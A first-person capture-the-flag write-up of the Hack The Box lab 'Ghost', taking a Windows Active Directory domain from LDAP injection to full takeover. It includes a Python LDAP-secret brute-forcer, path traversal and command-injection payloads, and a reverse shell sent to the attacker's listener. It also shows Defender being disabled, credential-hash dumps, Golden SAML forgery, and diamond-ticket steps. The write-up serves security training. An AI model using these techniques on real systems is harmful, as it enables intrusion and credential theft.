PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-13 19:04:40Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=DC01.ghost.htb| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb| Not valid before: 2024-06-19T15:45:56|_Not valid after: 2124-06-19T15:55:55|_ssl-date: TLS randomness does not represent time443/tcp open https?445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=DC01.ghost.htb| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb| Not valid before: 2024-06-19T15:45:56|_Not valid after: 2124-06-19T15:55:55|_ssl-date: TLS randomness does not represent time2179/tcp open vmrdp?3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: commonName=DC01.ghost.htb| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb| Not valid before: 2024-06-19T15:45:56|_Not valid after: 2124-06-19T15:55:553269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=DC01.ghost.htb| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb| Not valid before: 2024-06-19T15:45:56|_Not valid after: 2124-06-19T15:55:55|_ssl-date: TLS randomness does not represent time3389/tcp open ms-wbt-server Microsoft Terminal Services| ssl-cert: Subject: commonName=DC01.ghost.htb| Not valid before: 2024-06-16T15:49:55|_Not valid after: 2024-12-16T15:49:55| rdp-ntlm-info: | Target_Name: GHOST| NetBIOS_Domain_Name: GHOST| NetBIOS_Computer_Name: DC01| DNS_Domain_Name: ghost.htb| DNS_Computer_Name: DC01.ghost.htb| DNS_Tree_Name: ghost.htb| Product_Version: 10.0.20348|_ System_Time: 2024-07-13T19:05:31+00:00|_ssl-date: 2024-07-13T19:06:11+00:00; 0s from scanner time.5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.08008/tcp open http nginx 1.18.0 (Ubuntu)|_http-title: Ghost| http-robots.txt: 5 disallowed entries |_/ghost/ /p/ /email/ /r/ /webmentions/receive/|_http-server-header: nginx/1.18.0 (Ubuntu)|_http-generator: Ghost 5.788443/tcp open ssl/http nginx 1.18.0 (Ubuntu)| http-title: Ghost Core|_Requested resource was /login|_http-server-header: nginx/1.18.0 (Ubuntu)| tls-nextprotoneg: |_ http/1.1| ssl-cert: Subject: commonName=core.ghost.htb| Subject Alternative Name: DNS:core.ghost.htb| Not valid before: 2024-06-18T15:14:02|_Not valid after: 2124-05-25T15:14:02|_ssl-date: TLS randomness does not represent time| tls-alpn: |_ http/1.19389/tcp open mc-nmf .NET Message Framing49443/tcp open unknown49664/tcp open msrpc Microsoft Windows RPC49670/tcp open msrpc Microsoft Windows RPC49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.051527/tcp open msrpc Microsoft Windows RPC51570/tcp open msrpc Microsoft Windows RPCService Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernelHost script results:| smb2-security-mode: | 3:1:1: |_ Message signing enabled and required| smb2-time: | date: 2024-07-13T19:05:31|_ start_date: N/A
Based on the open ports identified by nmap I assume that this is a Domain Controller. RDP, LDAP and HTTPs reveal domain names, so I add core.ghost.htb, dc01.ghost.htb, and ghost.htb to my /etc/hosts file.
DNS
Since there was already a subdomain found by nmap I try to poke around DNS and resolve the second-level domain. The DNS server answers with 3 IPs, the one I already know, localhost and 10.0.0.254, so this box might be attached to another network.
Trying to perform a zone transfer errors out, so I’ll resort to bruteforcing valid subdomains with dnsenum.
dnsenum --enum \ --dnsserver 10.129.207.216 \ --subfile subdomains.txt \ -f /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt \ ghost.htb--- SNIP ---intranet.ghost.htb. 3600 IN A 127.0.0.1corp.ghost.htb. 599 IN A 10.0.0.10core.ghost.htb. 3600 IN A 127.0.0.1gc._msdcs.ghost.htb. 600 IN A 10.0.0.254gc._msdcs.ghost.htb. 600 IN A 10.0.0.10gc._msdcs.ghost.htb. 600 IN A 10.129.207.216domaindnszones.ghost.htb. 600 IN A 10.0.0.254domaindnszones.ghost.htb. 600 IN A 10.129.207.216forestdnszones.ghost.htb. 600 IN A 10.0.0.10forestdnszones.ghost.htb. 600 IN A 10.0.0.254forestdnszones.ghost.htb. 600 IN A 10.129.207.216federation.ghost.htb. 3600 IN A 127.0.0.1dc01.ghost.htb. 3600 IN A 10.0.0.254dc01.ghost.htb. 3600 IN A 10.129.207.216
I add the identified domains to my /etc/hosts as well.
HTTP (Port 8008)
Checking out http://ghost.htb:8008, I find some sort of blog powered by Ghost, but besides a possible username (Kathryn Holland) there is not much to discover.
Trying another virtual host, http://intranet.ghost.htb:8008, returns a login screen to the Intranet, but instead of asking for a password one has to supply a Secret.
Initial Access
Intranet
Testing some obvious credentials like admin:admin result in a failure with an error message of Invalid combination of username and secret but the payload that was sent by the browser offers additional details. The username and secret are sent as 1_ldap-username and 1_ldap-secret respectively, so this does hint towards LDAP injection.
Using a simple bypass1 with * for the username and the secret grants me access to the Intranet as kathryn.holland since that’s probably the first user returned by the query.
The posts on the startpage talk about the new intranet portal (probably this one!), where people have to login via their secret that’s decoupled from their domain password, and about an ongoing migration from Gitea to Bitbucket, where login is only possible with the gitea_temp_principal and its secret as the password.
On the left hand side I can switch to /users and find a table containing all the users, their name and group(s). This might come in handy later on, so I’ll add those to a list.
There’s also /forum containing three more posts, one talking about problems with the connection to Bitbucket by justin.bradley and the answer from kathryn.holland that the DNS entry is not yet configured.
Going to /profile only reveals a non-functioning feature to change the secret. Available soon™. From the info message I can infer that the secret needs to be between 5 and 20 characters and is limited to letters and numbers.
Hint
Taking over any other user is possible by specifying their name and using * as secret, but unfortunately there’s no additional information to be revealed.
Bruteforce LDAP secrets
Since I know that using wildcards is possible in the login procedure I can bruteforce secrets one character at a time by appending * to the character to test and check if the login works. A simple script will go a long way here considering the secrets are up to 20 characters long.
brute_secret.py
#!/usr/bin/env python3import requestsimport stringimport sysBASEURL = 'http://intranet.ghost.htb:8008'# Required to make NextJS workHEADERS = { 'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940', 'Next-Router-State-Tree': '%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D'}def check_secret(username='*', secret='*') -> bool: """ Use LDAP injection to check if a secret can be used to login. """ try: # The None in the tuple prevents the addition of the filename resp = requests.post(f'{BASEURL}/login', headers=HEADERS, files={ '1_$ACTION_REF_1': (None, ''), '1_$ACTION_1:0': (None, '{"id":"c471eb076ccac91d6f828b671795550fd5925940","bound":"$@1"}'), '1_$ACTION_1:1': (None, '[{}]'), '1_$ACTION_KEY': (None, 'k2982904007'), '1_ldap-username': (None, username), '1_ldap-secret': (None, secret), '0': (None, '[{},"$K1"]') }, allow_redirects=False) except requests.exceptions.RequestException as error: print(error) return False return resp.status_code == 303def main(): try: username = sys.argv[1] except IndexError: print(f'Usage {sys.argv[0]} <username>') sys.exit(1) secret = '' for _ in range(20): for c in string.ascii_letters + string.digits: if check_secret(username=username, secret=secret + c + '*'): secret += c break else: break print(f'User {username} has secret "{secret}"')if __name__ == '__main__': main()
Running the above script for gitea_temp_principal returns szrr8kpc3z6onlqf as the secret.
Gitea
The previous DNS bruteforce did not reveal a subdomain for the version control, but the intranet is talking about setting up a DNS entry for Bitbucket. Taking a wild guess here I try to resolve gitea.ghost.htb via the Domain Controller and receive a response. Even though it specifies 127.0.0.1 I’ll add the domain to my hosts file and try to access http://gitea.ghost.htb.
This works and I can login with gitea_temp_principal:szrr8kpc3z6onlqf and get access to the source code for the ghost-dev organization with 2 repositories blog and intranet. They likely correspond to the applications I already saw.
Both repositories just have one single commit so looking for secrets in the history is not possible. They also do not have any issues or pull requests.
blog
The README.md repository for the main domain ghost.htb talks about an upcoming feature, some inter-connection between intranet through which URLs will be scanned. It uses key from the environment variable DEV_INTRANET_KEY, but that’s nowhere to be found, neither in the Dockerfile nor the docker-compose.yml. Additionally there seems to be another feature within posts-public.js that allows to retrieve additional information from a post. It does also mention an key (a5af628828958c976a3b6cc81a) for the public API.
Checking the source code for posts-public.js there is an interesting passage within the module.exports. If there’s a parameter extra in the request, the value is appended to /var/lib/ghost/extra/ and the contents of that file is returned within the response. Notably there is no sanitization in place and in case the same code is running on the server, I can use it to read arbitrary files.
The extra parameters has to be supplied via the API in Ghost and it offers a nice documentation specifying the URL and query parameters. I need to supply an API key via ?key= and luckily I’ve already seen one in the README. The code snippet mentions posts so I’ll try that endpoint first. Using &extra=../../../../../../../etc/passwd has the desired effect and the contents of the passwd file is returned to me.
Considering the instructions in the README I check for environment variables next and those are contained in /proc/self/environ with self being a link to current process.
Armed with the key, I’ll move towards the other repository on Gitea, the intranet. This repository presents itself similar to the previous one, it does consist out of two subdirectories, frontend and backend, and is based on Docker as well. The README mentions that the dev API is available at http://intranet.ghost.htb/api-dev but before checking that out, I’ll have a look at the source code to see what I’m dealing with.
Within intranet/backend/src/api there is dev.rs and a subfolder dev containing another piece of rust source code scan.rs. The code in dev.rs basically just checking if the X-DEV-INTRANET-KEY header is set. scan.rs is way more interesting because it takes JSON as input and retrieves the key url before passing that to bash -c intranet_url_check <url>. This looks like a very simple code injection.
use std::process::Command;use rocket::serde::json::Json;use rocket::serde::Serialize;use serde::Deserialize;use crate::api::dev::DevGuard;#[derive(Deserialize)]pub struct ScanRequest { url: String,}#[derive(Serialize)]pub struct ScanResponse { is_safe: bool, // remove the following once the route is stable temp_command_success: bool, temp_command_stdout: String, temp_command_stderr: String,}// Scans an url inside a blog post// This will be called by the blog to ensure all URLs in posts are safe#[post("/scan", format = "json", data = "<data>")]pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> { // currently intranet_url_check is not implemented, // but the route exists for future compatibility with the blog let result = Command::new("bash") .arg("-c") .arg(format!("intranet_url_check {}", data.url)) .output(); match result { Ok(output) => { Json(ScanResponse { is_safe: true, temp_command_success: true, temp_command_stdout: String::from_utf8(output.stdout).unwrap_or("".to_string()), temp_command_stderr: String::from_utf8(output.stderr).unwrap_or("".to_string()), }) } Err(_) => Json(ScanResponse { is_safe: true, temp_command_success: false, temp_command_stdout: "".to_string(), temp_command_stderr: "".to_string(), }) }}
Execution
First I validate the finding by sending ;id and voilà there’s the output of the id command and its running as root!
After upgrading my shell2 I look around but flags are nowhere to be found. I’m trapped in a docker container, easily identifiable thanks to the presence of /.dockerenv and /docker-entrypoint.sh.
Privilege Escalation
The docker-entrypoint.sh in the / directory of the container shows what’s being run during the startup.
The controlmaster setting within the SSH config enables reusage of a previously established connection. Checking the sessions in /root/.ssh/controlmaster shows only one for florence.ramirez@ghost.htb to dev-workstation. This means I can probably connect there without knowing the password.
Based on the naming scheme of the user, the dev-workstation is probably domain-joined and fair enough there’s a KRB5CCNAME environment variable set and it does point to /tmp/krb5cc_50. I grab the file as a base64 string to move it to my machine.
In a previous version of the box, the plaintext credentials for the florence.ramirez user were contained within the /docker-entrypoint.sh. sshpass -p 'uxLmt*udNc6t3HrF' ssh -o "StrictHostKeyChecking no" florence.ramirez@ghost.htb@dev-workstation exit
BloodHound
With the newly obtained credentials for a domain user, I’ll run bloodhound-python to get an overview over the domain.
bloodhound-python -d ghost.htb \ -u florence.ramirez \ -k \ -ns 10.129.207.216 \ --dns-tcp \ --dns-timeout 100 \ -c ALLINFO: Found AD domain: ghost.htbINFO: Getting TGT for userINFO: Connecting to LDAP server: dc01.ghost.htbINFO: Found 1 domainsINFO: Found 2 domains in the forestINFO: Found 2 computersINFO: Connecting to LDAP server: dc01.ghost.htbINFO: Found 16 usersINFO: Found 57 groupsINFO: Found 2 gposINFO: Found 1 ousINFO: Found 20 containersINFO: Found 1 trustsINFO: Starting computer enumeration with 10 workersINFO: Querying computer: linux-dev-ws01.ghost.htbINFO: Querying computer: DC01.ghost.htbWARNING: Could not resolve: linux-dev-ws01.ghost.htb: All nameservers failed to answer the query linux-dev-ws01.ghost.htb.localdomain. IN A: Server Do53:10.129.207.216@53 answered SERVFAILINFO: Done in 00M 14S
After loading the data into BloodHound, I poke around trying to find some interesting edges that I can abuse. Even though my current user florence is part of the IT group, BloodHound did not identify relevant privileges over other objects. Searching for kerberoastable user returns ADFS_GMSA$ and another user justin.bradley that has the ability to read the password of that account.
Also the name of the group managed service account hints towards Active Directory Federation Service and sure enough I have not investigated port 8443. Catching up on that and browsing to https://core.ghost.htb:8443/login reveals that it’s in fact ADFS and I can use my credentials to login there. Unfortunately I need to be Administrator to proceed further according to the welcome screen.
So the path forward seems clear, somehow take over justin.bradley, read the password of ADFS_GMSA$ and then compromise ADFS with a Golden SAML attack.
ADIDNS
Thinking back at the information I’ve gathered in the intranet, I remember that justin.bradley talked about problems regarding the access to Bitbucket and that the DNS record was not yet set up. By default any authenticated user can add new DNS entries within the Active Directory Integrated DNS (ADIDNS)3. Resolving bitbucket.ghost.htb returns NXDOMAIN so the entry is currently not populated. I’ll try my luck with bloodyAD.
bloodyAD --host dc01.ghost.htb \ -k \ -d ghost.htb \ add dnsRecord \ --dnstype A \ --ttl 2 \ bitbucket \ 10.10.10.10[+] bitbucket has been successfully addednslookup bitbucket.ghost.htb ghost.htbServer: ghost.htbAddress: 10.129.207.216#53Name: bitbucket.ghost.htbAddress: 10.10.10.10nc -lnvp 80listening on [any] 80 ...connect to [10.10.10.10] from (UNKNOWN) [10.129.207.216] 49319GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.20348.2582Host: bitbucket.ghost.htbConnection: Keep-Alive
Setting the DNS entry for bitbucket.ghost.htb to my IP seems to work and the DNS server returns my IP address now. Shortly after I receive a request to my HTTP listener, without useful information though. It just confirms that there is someone on the other side trying to access bitbucket.
I set up Responder to listen on multiple ports for traffic and promptly receive another connection via HTTP. Thanks to Responder a NTLMv2 hash is extracted and displayed to me.
The hash cracks with /usr/share/wordlist/rockyou.txt and reveals the password Qwertyuiop1234$$.
john --fork=10 --wordlist=/usr/share/wordlists/rockyou.txt hashUsing default input encoding: UTF-8Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])Node numbers 1-10 of 10 (fork)Press 'q' or Ctrl-C to abort, almost any other key for statusQwertyuiop1234$$ (justin.bradley)--- SNIP ---
The user is part of the Remote Management Group, letting me use evil-winrm to access the Domain Controller and collect the first flag.
ADFS and GoldenSAML
As previously mentionedjustin.bradley can read the password for the ADFS_GMSA$ so I use nxc to dump the NTLM hash 4f4b81c5f6a9c1931310ece55a02a8d6.
The account ADFS_GMSA$ is also in the Remote Management Group and I can login. In order to perform a GoldenSAML attack and forge valid SAMLResponses, I need to obtain a few information but that can easily be achieved with ADFSDump. After compiling I upload the binary. Luckily it’s not detected by AV so no bypass is needed. Running it in the context of the service user dumps relevant information onto the console.
From the output I can find several flags that ADFSpoof expects, the --endpoint is https://core.ghost.htb:8443/adfs/saml/postResponse, the --rpidentifier seems to be https://core.ghost.htb:8443 and -b, the encrypted PFX blob and decryption key. The blob is the large base64 part and the decryption key is directly above, but they need to be converted first.
Now there are just three more mandatory flags missing. The assertion that I want to sign / forge and some kind of nameidformat and its identifier. Those values are best extracted from a valid response. I perform another login on https://core.ghost.htb:8443/login and send the requests through Burp.
First I am redirected to https://federation.ghost.htb/adfs/ls/?SAMLRequest=<REQUEST>&SigAlg=<SNIP>&Signature=<SNIP> where I provide the credentials and then im being redirected to https://core.ghost.htb/adfs/saml/postResponse while providing the SAMLResponse as POST value.
While the SAMLRequest needs to be url-decoded, base64-decoded and inflated, the SAMLResponse does not require the last step to make it readable. Doing so provides me with the plaintext XML representation of the response.
The assertions are contained within the <AttributeStatement> and show the email address and the name of the user. That’s the part I want to modify to hopefully get additional access on the web UI. Putting the parts together, I am still missing the nameformatid that should be within the NameIdentifer tag, but that’s not present in the response so I decide to try it with dummy values first.
Changing the assertion to contain the assumed email address of the Administrator as well as the name, I run ADFSpoof and receive a SAMLResponse.
Modifying the captured POST request in Burp to include the new response receives a 303 redirect from the server while setting a new cookie. Replacing my own cookie in the browser with the new value and refreshing the page (removing /unauthorized) logs me into the application as Administrator.
MSSQL
As an administrator the page grants me access to the Ghost Config Panel where I can execute SQL queries and receive their output. It also mentions two linked databases in the ghost.htb and corp.ghost.htb domain.
Running SELECT CURRENT_USER and SELECT IS_SRVROLEMEMBER('sysadmin'); shows I’m running as web_client and not part of the sysadmin group. The text specifies linked database so that’s where I peek next, maybe the user on the other side is more privileged.
SELECT srvname FROM master..sysservers;"recordsets": [ [ { "srvname": "DC01" }, { "srvname": "PRIMARY" } ]]--- SNIP ---# https://github.com/fortra/impacket/blob/master/impacket/examples/mssqlshell.py#L255C1-L261C68SELECT * FROM OPENQUERY("PRIMARY", 'SELECT ''LOGIN'' AS ''execute as'', '''' AS ''database'',pe.permission_name,pe.state_desc,pr.name AS ''grantee'', pr2.name AS ''grantor'' FROM sys.server_permissions pe JOIN sys.server_principals pr ON pe.grantee_principal_id = pr.principal_Id JOIN sys.server_principals pr2 ON pe.grantor_principal_id = pr2.principal_Id WHERE pe.type = ''IM''')"recordsets": [ [ { "execute as": "LOGIN", "database": "", "permission_name": "IMPERSONATE", "state_desc": "GRANT", "grantee": "bridge_corp", "grantor": "sa" } ]],--- SNIP ---
There are two linked databases servers, DC01 (where I am currently located) and PRIMARY. Apparently I’m using the bridge_corp account on PRIMARY and can impersonate sa there. With those privileges I should be able to enable xp_cmdshell and achieve remote code execution. Luckily the database link is configured with RPC Out and I can actually use stored procedures4 like xp_cmdshell.
SELECT is_rpc_out_enabled FROM sys.servers WHERE name = 'DC01';"recordsets": [ [ { "is_rpc_out_enabled": true } ]],--- SNIP ---
Great, this means I can enable the xp_cmdshell on the linked server by running as sa.
EXEC('EXECUTE AS LOGIN=''sa''; EXEC master.dbo.sp_configure ''show advanced options'',1; RECONFIGURE;') AT [PRIMARY]EXEC('EXECUTE AS LOGIN=''sa''; EXEC master.dbo.sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [PRIMARY]EXEC('EXECUTE AS LOGIN=''sa''; EXEC xp_cmdshell ''whoami''') AT [PRIMARY]--- SNIP ---"output": "nt service\\mssqlserver"--- SNIP ---
The only thing left to do is to get a reverse shell and I opt to do an ASMI bypas and send a sliver payload.
CORP.GHOST.HTB
Getting a new session as NT Service\MSSQLSERVER on PRIMARY. Checking my privileges shows I do have the SeImpersonatePrivilege enabled and that means I can impersonate anyone including the NT Authority account. So I’ll run SigmaPotato to get a reverse shell as NT Authority.
# In sliverexecute-assembly -t 120 -- SigmaPotato.exe --revshell 10.10.10.10 8888# Local listenernc -lnvp 8888listening on [any] 8888 ...connect to [10.10.10.10] from (UNKNOWN) [10.129.207.216] 49828PS C:\Windows\system32> whoamint authority\systemPS C:\Windows\system32> & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -AllService Version: 4.18.24050.7Engine Version: 1.1.24060.5AntiSpyware Signature Version: 1.415.24.0AntiVirus Signature Version: 1.415.24.0Starting engine and signature rollback to none...Done!
After succesfully obtaining an highly privileged shell and disabling the AV, on I move on to enumerate the host. Based on the information so far, I’m now in another child domain: corp.ghost.htb.
Domain Takeover
There’s a bidirectional trust between the two domains as seen in the BloodHound graph and since I now owned the domain controller for the corp.ghost.htb domain I can forge a diamond ticket to move to the other domain as a highly-privileged user. There’s no SID Filtering in place, by default with trusts within the same forest5, so I can freely impersonate a member of the Enterprise Admins group.
To forge a diamond ticket I need the following pieces:
Name and RID of the user I want to impersonate: Administrator and 500
The SID of a high privileged group in the parent domain, e.g. Enterprise Admins: S-1-5-21-4084500788-938703357-3654145966-519 (from BloodHound)
AES256 key for the krbtgt user of the child domain (from DCSync)
# In slivermimikatz -t 120 '"token::elevate" "privilege::debug" "lsadump::dcsync /user:GHOST-CORP\krbtgt" "exit"'--- SNIP ---** SAM ACCOUNT **SAM Username : krbtgtAccount Type : 30000000 ( USER_OBJECT )User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )Account expiration :Password last change : 1/31/2024 7:34:01 PMObject Security ID : S-1-5-21-2034262909-2733679486-179904498-502Object Relative ID : 502Credentials: Hash NTLM: 69eb46aa347a8c68edb99be2725403ab ntlm- 0: 69eb46aa347a8c68edb99be2725403ab lm - 0: fceff261045c75c4d7f6895de975f6cbSupplemental Credentials:* Primary:NTLM-Strong-NTOWF * Random Value : 4acd753922f1e79069fd95d67874be4c* Primary:Kerberos-Newer-Keys * Default Salt : CORP.GHOST.HTBkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d aes128_hmac (4096) : ea18711cfd69feef0c8efba75bca9235 des_cbc_md5 (4096) : b3e070025110ce1f
Now I can move on to create a diamond ticket and apply it to my current session to impersonate the Administrator in the Enterprise Admin group of the parent domain.
With the forged ticket I can also use dcsync to retrieve the hashes of the users within the GHOST.HTB domain and completely take over the DC01.
Unintended Path
There was an unintended path that was basically a shortcut jumping over a few steps of the privilege escalation. The user florence.ramirez has guest access to MSSQL and from there I can use the same approach as through the Web Portal in order to get code execution on PRIMARY. Accessing the database directly with mssqlclient from impacket makes it way easier to enumerate and abuse the privileges.
impacket-mssqlclient -windows-auth florence.ramirez:'uxLmt*udNc6t3HrF'@ghost.htbImpacket v0.12.0.dev1 - Copyright 2023 Fortra[*] Encryption required, switching to TLS[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192[*] INFO(DC01): Line 1: Changed database context to 'master'.[*] INFO(DC01): Line 1: Changed language setting to us_english.[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)[!] Press help for extra shell commandsSQL (GHOST\florence.ramirez guest@master)> enum_linksSRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT-------- ---------------- ----------- -------------- ------------------ ------------ -------DC01 SQLNCLI SQL Server DC01 NULL NULL NULLPRIMARY SQLNCLI SQL Server PRIMARY NULL NULL NULLLinked Server Local Login Is Self Mapping Remote Login------------- ----------- --------------- ------------SQL (GHOST\florence.ramirez guest@master)> use_link "PRIMARY"SQL >"PRIMARY" (bridge_corp bridge_corp@master)> enum_impersonateexecute as database permission_name state_desc grantee grantor---------- -------- --------------- ---------- ----------- -------b'LOGIN' b'' IMPERSONATE GRANT bridge_corp saSQL >"PRIMARY" (bridge_corp bridge_corp@master)> exec_as_login saSQL >"PRIMARY" (sa dbo@master)> enable_xp_cmdshell[*] INFO(PRIMARY): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.[*] INFO(PRIMARY): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.SQL >"PRIMARY" (sa dbo@master)> xp_cmdshell "powershell -c ..."
Basically the steps are the same and in the end I receive a shell as NT Service\MSSQLSERVER and proceed with the escalation to NT Authority and take over the domain(s).
Attack Path
flowchart TD
subgraph "Initial Access"
A(Intranet) -->|Login Bypass w/ LDAP Injection| B(Access to internal forum)
B -->|Brute Force LDAP secret| C(Access to gitea_temp_principal)
C -->|Valid Credentials| D(Access to source code on gitea)
D -->|LFI in Blog| E(Retrieve DEV_INTRANET_API key)
end
subgraph "Execution"
E & D-->|Command Injection in Intranet| F(Root in Container)
F -->|Credentials exposed in docker-entrypoint.sh| G(Access as florence.ramirez)
end
subgraph "Privilege Escalation"
G -->|Set bitbucket DNS record| H(NTLMv2 Hash for justin.bradley)
H -->|Crack Hash| I(Valid credentials for justin.bradley)
I -->|Read GMSA| J(NTLM for ADFS_GMSA$)
J -->|GoldenSAML to forge SAMLResponse| K(Access as Administrator over ADFS\nto Config Panel)
K -->|Abuse execute_as_login on linked MSSQL database| L(Access as MSSQL on PRIMARY)
L -->|SeImpersonate Privilege| M(Access as NT Authority\System on PRIMARY)
M -->|Forge Diamond Ticket in child domain| N(Access as Administrator on DC01)
end
subgraph "Unintended"
G -->|Access MSSQL| W(Guest session in MSSQL)
W -->|Abuse execute_as_login on linked MSSQL database| L
end